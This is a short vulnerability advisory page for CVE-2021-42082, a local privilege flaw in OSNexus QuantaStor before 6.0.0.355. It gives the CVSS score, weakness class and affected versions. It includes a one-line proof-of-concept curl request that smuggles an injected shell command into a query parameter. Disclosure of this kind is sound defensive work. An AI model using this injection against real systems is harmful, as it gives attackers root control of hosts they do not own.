CVE Vulnerabilities

CVE-2021-42082

Improper Privilege Management

Published: Jul 10, 2023 | Modified: Sep 22, 2025
CVSS 3.x
7.8
HIGH
Source:
NVD
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS 2.x
RedHat/V2
RedHat/V3
Ubuntu

Local users are able to execute scripts under root privileges.

POC

On the local host run the following command:

curl localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;whoami

Weakness

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Affected Software

Name Vendor Start Version End Version
Quantastor Osnexus * 6.0.0.355 (excluding)

Potential Mitigations

References